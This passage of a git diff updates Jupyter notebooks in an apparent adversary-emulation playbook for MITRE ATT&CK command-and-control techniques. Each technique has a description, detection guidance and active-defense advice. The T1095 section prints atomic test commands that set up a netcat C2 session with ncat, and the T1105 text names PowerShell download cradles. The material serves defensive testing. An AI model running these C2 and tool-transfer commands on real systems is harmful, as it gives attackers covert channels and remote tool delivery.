the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y." }, { "cell_type": "markdown", - "id": "f0093213", + "id": "c95f2d7d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a5acb912", + "id": "4c68141d", "metadata": {}, "source": "## Detection\nIf SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1090.ipynb b/playbook/tactics/command-and-control/T1090.ipynb index cdb7b64e..fd6619d1 100644 --- a/playbook/tactics/command-and-control/T1090.ipynb +++ b/playbook/tactics/command-and-control/T1090.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "44bbb199", + "id": "113b588e", "metadata": {}, "source": "# T1090 - Proxy\nAdversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic." }, { "cell_type": "markdown", - "id": "2cf930f9", + "id": "1bcf7c92", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "65a1243c", + "id": "2f8adc4c", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183))." }, { "cell_type": "markdown", - "id": "5c8bdfd5", + "id": "1880419d", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Manipulation \n Make changes to network properties and functions to achieve a desired effect. \n\n Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.\n#### Opportunity\nThere is an opportunity to block an adversary that is seeking to use a proxied connection.\n#### Use Case\nA defender could block traffic to known anonymity networks and C2 infrastructure through the use of network allow and block lists. \n#### Procedures\nAdd a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope.\nIntroduce intermittent network packet loss on a decoy network to interfere with an adversary's activities.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1092.ipynb b/playbook/tactics/command-and-control/T1092.ipynb index 61b3693b..79830409 100644 --- a/playbook/tactics/command-and-control/T1092.ipynb +++ b/playbook/tactics/command-and-control/T1092.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "3b5d71ff", + "id": "bbebf893", "metadata": {}, "source": "# T1092 - Communication Through Removable Media\nAdversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access." }, { "cell_type": "markdown", - "id": "24f7dcbc", + "id": "6d2eadc4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c0dc7fc7", + "id": "714cec6e", "metadata": {}, "source": "## Detection\nMonitor file access on removable media. Detect processes that execute when removable media is mounted." }, { "cell_type": "markdown", - "id": "a6b983ab", + "id": "63cad0e5", "metadata": {}, "source": "\n## Shield Active Defense\n### Peripheral Management \n Manage peripheral devices used on systems within the network for active defense purposes. \n\n\n \n\n Peripheral Management is the administration of peripheral devices used on systems within the network for defensive or deceptive purposes. A defender can choose to allow or deny certain types of peripherals from being used on systems. Defenders can also introduce certain peripherals to an adversary-controlled system to see how the adversary reacts.\n#### Opportunity\nThere is an opportunity to determine adversary capabilities or preferences by controlling aspects of the engagement environment.\n#### Use Case\nA defender who intercepts removable media being used by an adversary for relaying commands can plug the removal media into a decoy system or network to watch what commands are being relayed and what the adversary continues to do.\n#### Procedures\nIntroduce external devices (e.g. a USB drive) to a machine in an adversary engagement scenario to see how quickly an adversary gains awareness to its presence and if they attempt to leverage the device.\nConfigure controls (such as AutoRun) which would require an adversary to take additional steps when leveraging a peripheral device to execute their tools.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1094.ipynb b/playbook/tactics/command-and-control/T1094.ipynb deleted file mode 100644 index 9974fd82..00000000 --- a/playbook/tactics/command-and-control/T1094.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a595be33", - "metadata": {}, - "source": "# T1094 - Custom Command and Control Protocol\nAdversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack." - }, - { - "cell_type": "markdown", - "id": "d8490974", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "357dd264", - "metadata": {}, - "source": "## Detection\nAnalyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1095.ipynb b/playbook/tactics/command-and-control/T1095.ipynb index 9b1adf8d..aabc0ed9 100644 --- a/playbook/tactics/command-and-control/T1095.ipynb +++ b/playbook/tactics/command-and-control/T1095.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f2c22d87", + "id": "94681bfb", "metadata": {}, - "source": "# T1095 - Non-Application Layer Protocol\nAdversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications." + "source": "# T1095 - Non-Application Layer Protocol\nAdversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications." }, { "cell_type": "markdown", - "id": "fbebcdb3", + "id": "f0389b08", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a90f202b", + "id": "8214c179", "metadata": {}, "source": [ "### Atomic Test #1 - ICMP C2", @@ -27,45 +27,45 @@ { "cell_type": "code", "execution_count": null, - "id": "35f9e376", + "id": "86c0ba0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1095 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "98914e0a", + "id": "ab9b1261", "metadata": {}, - "source": "### Atomic Test #2 - Netcat C2\nStart C2 Session Using Ncat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ncat.exe must be available at specified location (#{ncat_exe})\n\n##### Check Prereq Commands:\n```powershell\nif( Test-Path \"$env:TEMP\\T1095\\nmap-7.80\\ncat.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory -Force -Path $env:TEMP\\T1095 | Out-Null\n$parentpath = Split-Path (Split-Path \"$env:TEMP\\T1095\\nmap-7.80\\ncat.exe\"); $zippath = \"$parentpath\\nmap.zip\"\nInvoke-WebRequest \"https://nmap.org/dist/nmap-7.80-win32.zip\" -OutFile \"$zippath\"\n Expand-Archive $zippath $parentpath -Force\n $unzipPath = Join-Path $parentPath \"nmap-7.80\"\nif( $null -eq (Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | ?{$_.DisplayName -like \"Microsoft Visual C++*\"}) ) {\n Start-Process (Join-Path $unzipPath \"vcredist_x86.exe\")\n}\n\n```" + "source": "### Atomic Test #2 - Netcat C2\nStart C2 Session Using Ncat\nTo start the listener on a Linux device, type the following: \nnc -l -p \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: ncat.exe must be available at specified location (#{ncat_exe})\n\n##### Check Prereq Commands:\n```powershell\nif( Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1095\\nmap-7.80\\ncat.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -ItemType Directory -Force -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1095\" | Out-Null\n$parentpath = Split-Path (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1095\\nmap-7.80\\ncat.exe\"); $zippath = \"$parentpath\\nmap.zip\"\nInvoke-WebRequest \"https://nmap.org/dist/nmap-7.80-win32.zip\" -OutFile \"$zippath\"\n Expand-Archive $zippath $parentpath -Force\n $unzipPath = Join-Path $parentPath \"nmap-7.80\"\nif( $null -eq (Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | ?{$_.DisplayName -like \"Microsoft Visual C++*\"}) ) {\n Start-Process (Join-Path $unzipPath \"vcredist_x86.exe\")\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5c5aa321", + "id": "77586856", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1095 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d71e7c02", + "id": "4ba8c10f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd /c $env:TEMP\\T1095\\nmap-7.80\\ncat.exe 127.0.0.1 80\n```" + "```powershell\ncmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1095\\nmap-7.80\\ncat.exe\" 127.0.0.1 80\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "68472522", + "id": "42c67028", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1095 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fb7514ce", + "id": "16fc2ce2", "metadata": {}, "source": [ "### Atomic Test #3 - Powercat C2", @@ -78,20 +78,20 @@ { "cell_type": "code", "execution_count": null, - "id": "89dd0cb9", + "id": "c070b013", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1095 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "46dceae7", + "id": "060d0403", "metadata": {}, "source": "## Detection\nAnalyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels." }, { "cell_type": "markdown", - "id": "d0083502", + "id": "7b061707", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can detect the use of non-standard protocols. By implementing behavior analytics specific to a rise in protocol traffic to a system or set of systems, one might be able to detect malicious communications from an adversary.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -99,13 +99,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1102.001.ipynb b/playbook/tactics/command-and-control/T1102.001.ipynb index d1d22c27..cb031f0d 100644 --- a/playbook/tactics/command-and-control/T1102.001.ipynb +++ b/playbook/tactics/command-and-control/T1102.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a669522b", + "id": "76c68403", "metadata": {}, "source": "# T1102.001 - Dead Drop Resolver\nAdversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed)." }, { "cell_type": "markdown", - "id": "43d482c5", + "id": "33b21133", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5f292685", + "id": "ca3d0e79", "metadata": {}, "source": "## Detection\nHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1102.002.ipynb b/playbook/tactics/command-and-control/T1102.002.ipynb index 94a52d38..83700152 100644 --- a/playbook/tactics/command-and-control/T1102.002.ipynb +++ b/playbook/tactics/command-and-control/T1102.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d9d71a32", + "id": "0c94895f", "metadata": {}, "source": "# T1102.002 - Bidirectional Communication\nAdversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. " }, { "cell_type": "markdown", - "id": "7fd5ee19", + "id": "6590cd29", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "7c333620", + "id": "13db202d", "metadata": {}, "source": "## Detection\nHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1102.003.ipynb b/playbook/tactics/command-and-control/T1102.003.ipynb index 19029cd3..7a279be9 100644 --- a/playbook/tactics/command-and-control/T1102.003.ipynb +++ b/playbook/tactics/command-and-control/T1102.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "00c10cf3", + "id": "c620bb14", "metadata": {}, "source": "# T1102.003 - One-Way Communication\nAdversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection." }, { "cell_type": "markdown", - "id": "d0620bf8", + "id": "61357863", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "bab6bf27", + "id": "720e527b", "metadata": {}, "source": "## Detection\nHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1102.ipynb b/playbook/tactics/command-and-control/T1102.ipynb index 24051462..00a31774 100644 --- a/playbook/tactics/command-and-control/T1102.ipynb +++ b/playbook/tactics/command-and-control/T1102.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "e7bb3a72", + "id": "92bf70d9", "metadata": {}, "source": "# T1102 - Web Service\nAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed)." }, { "cell_type": "markdown", - "id": "dfcd3985", + "id": "fa6cb475", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b713a368", + "id": "c1b2c960", "metadata": {}, "source": "## Detection\nHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "8fa100ad", + "id": "11d7d383", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can detect the use of external web services for communication relay. By implementing behavior analytics anomalies in what domains a system is communicating with, how frequently, and at what times, a defender can potentially identify malicious traffic.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1104.ipynb b/playbook/tactics/command-and-control/T1104.ipynb index 7e152c38..f8383f5b 100644 --- a/playbook/tactics/command-and-control/T1104.ipynb +++ b/playbook/tactics/command-and-control/T1104.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "9a691f49", + "id": "ecca6da5", "metadata": {}, "source": "# T1104 - Multi-Stage Channels\nAdversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked." }, { "cell_type": "markdown", - "id": "698fb25a", + "id": "105dbe61", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2fc93f05", + "id": "1518b95b", "metadata": {}, "source": "## Detection\nHost data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data." }, { "cell_type": "markdown", - "id": "23ce9c72", + "id": "691c5a83", "metadata": {}, "source": "\n## Shield Active Defense\n### Isolation \n Configure devices, systems, networks, etc. to contain activity and data in order to promote inspection or prevent expanding an engagement beyond desired limits. \n\n Using isolation, a defender can prevent potentially malicious activity before it starts or limit its effectiveness and scope. A defender can observe behaviors of adversaries or their tools without exposing them to unintended targets.\n#### Opportunity\nThere is an opportunity to detect an unknown process that is being used for command and control and disrupt it.\n#### Use Case\nA defender can isolate unknown processes that are being used for command and control and prevent them from being able to access the internet.\n#### Procedures\nUnplug an infected system from the network and disable any other means of communication.\nRun all user applications in isolated containers to prevent a compromise from expanding beyond the container's boundaries.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1105.ipynb b/playbook/tactics/command-and-control/T1105.ipynb index 3df608ba..caa5ab56 100644 --- a/playbook/tactics/command-and-control/T1105.ipynb +++ b/playbook/tactics/command-and-control/T1105.ipynb @@ -2,139 +2,161 @@ "cells": [ { "cell_type": "markdown", - "id": "f4a061e9", + "id": "0aa64da2", "metadata": {}, - "source": "# T1105 - Ingress Tool Transfer\nAdversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)" + "source": "# T1105 - Ingress Tool Transfer\nAdversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts.\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)" }, { "cell_type": "markdown", - "id": "75b4abdd", + "id": "a5c39426", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "41203565", + "id": "08aa4f00", + "metadata": {}, + "source": "### Atomic Test #1 - rsync remote file copy (push)\nUtilize rsync to perform a remote file copy (push)\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: rsync must be installed on the machine \n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v rsync)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\n(pkg install -y rsync)||(sudo apt-get -y install rsync)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1aa22ea0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1105 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f97d950d", "metadata": {}, "source": [ - "### Atomic Test #1 - rsync remote file 